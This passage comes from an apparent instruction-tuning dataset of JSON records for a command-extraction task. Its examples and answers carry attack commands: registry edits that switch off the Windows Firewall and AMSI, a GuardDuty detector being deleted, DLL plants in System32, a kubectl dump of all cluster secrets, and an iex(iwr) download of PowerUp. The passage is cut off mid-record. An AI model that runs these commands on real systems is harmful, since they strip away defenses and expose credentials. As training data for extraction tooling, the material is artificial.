sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Rather than disabling iptables entirely, attackers may choose to remove a particular rule that blocks FTP traffic, which can be done with this command: iptables -D OUTPUT -p tcp --dport 21 -j DROP.; An adversary attempts to disable the Windows Firewall by modifying the registry with the following commands: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\n", "output": "{\"command_list\": [\"iptables -D OUTPUT -p tcp --dport 21 -j DROP\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\DomainProfile\\\" /v EnableFirewall /t REG_DWORD /d 0 /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\StandardProfile\\\" /v EnableFirewall /t REG_DWORD /d 0 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using reg.exe in the cmd console, you can modify the registry to disable the networking icon Group Policy with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCANetwork /t REG_DWORD /d 1 /f. Keep in mind that certain Group Policy modifications may require a reboot.; Using reg.exe in the command prompt, you can hide the battery icon by updating the registry, execute this command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAPower /t REG_DWORD /d 1 /f. Be aware that ransomware has been known to exploit this technique.", "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCANetwork /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCAPower /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For checking internet connectivity with a focus on SMB port 445 access, run the command: Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}; An attacker with sufficient permissions could access all cluster secrets via the command: kubectl get secrets --all-namespaces", "output": "{\"command_list\": [\"Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}\\n\", \"kubectl get secrets --all-namespaces\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can modify the registry to disable the File menu in Windows Explorer by executing this command via cmd: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoFileMenu /t REG_DWORD /d 1 /f. Be aware that a system restart might be necessary for the changes to apply.; Using reg.exe via the command prompt, you can disable the Shut Down command in Group Policy by executing this registry modification: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoClose /t REG_DWORD /d 1 /f. Be aware that a restart might be needed for changes to take effect.", "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoFileMenu /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoClose /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary with administrative privileges can disable AMSI by modifying the registry value in HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}, using the following command to override the Microsoft Defender COM object for AMSI and point it to a non-existent DLL: REG ADD HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32 /ve /t REG_SZ /d C:\\IDontExist.dll /f; For enabling GuardDuty in AWS followed by suspending and deleting the configuration, execute this command:\ndetectorId=$(aws guardduty create-detector --enable --region \"#{region}\" | grep -oP '(?<=\"DetectorId\": \")[^\"]*')\naws guardduty update-detector --no-enable --detector-id $detectorId\naws guardduty delete-detector --detector-id $detectorId", "output": "{\"command_list\": [\"REG ADD HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\\\InProcServer32 /ve /t REG_SZ /d C:\\\\IDontExist.dll /f\\n\", \"detectorId=$(aws guardduty create-detector --enable --region \\\"#{region}\\\" | grep -oP '(?<=\\\"DetectorId\\\": \\\")[^\\\"]*')\\naws guardduty update-detector --no-enable --detector-id $detectorId\\naws guardduty delete-detector --detector-id $detectorId\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For automated collection, first create a directory and copy all .doc files using the following command: New-Item -Path $env:TEMP\\T1119_powershell_collection -ItemType Directory -Force | Out-Null\nGet-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\\T1119_powershell_collection}; Information gathering for exfiltration can be performed by executing this command, creating files in the temp directory: Get-Service > $env:TEMP\\T1119_1.txt\nGet-ChildItem Env: > $env:TEMP\\T1119_2.txt\nGet-Process > $env:TEMP\\T1119_3.txt\n", "output": "{\"command_list\": [\"New-Item -Path $env:TEMP\\\\T1119_powershell_collection -ItemType Directory -Force | Out-Null\\nGet-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\\\\T1119_powershell_collection}\\n\", \"Get-Service > $env:TEMP\\\\T1119_1.txt\\nGet-ChildItem Env: > $env:TEMP\\\\T1119_2.txt\\nGet-Process > $env:TEMP\\\\T1119_3.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When .NET components load, they check for the APPX_PROCESS environment variable. To exploit this, use the following commands to copy and rename amsi.dll, then set the variable: copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\nren %APPDATA%\\amsi.dll WinAppXRT.dll\ncopy %APPDATA%\\WinAppXRT.dll %windir%\\System32\\WinAppXRT.dll\nreg add \"HKEY_CURRENT_USER\\Environment\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \"1\" /f; For successful execution, run the following commands: copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\nren %APPDATA%\\amsi.dll ualapi.dll\ncopy %APPDATA%\\ualapi.dll %windir%\\System32\\ualapi.dll\nsc config Spooler start=auto\n. This process copies and renames the DLL file, places it in the System32 directory, and configures the Print Spooler service to start automatically upon system reboot.", "output": "{\"command_list\": [\"copy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\nren %APPDATA%\\\\amsi.dll WinAppXRT.dll\\ncopy %APPDATA%\\\\WinAppXRT.dll %windir%\\\\System32\\\\WinAppXRT.dll\\nreg add \\\"HKEY_CURRENT_USER\\\\Environment\\\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \\\"1\\\" /f\\n\", \"copy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\nren %APPDATA%\\\\amsi.dll ualapi.dll\\ncopy %APPDATA%\\\\ualapi.dll %windir%\\\\System32\\\\ualapi.dll\\nsc config Spooler start=auto\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | 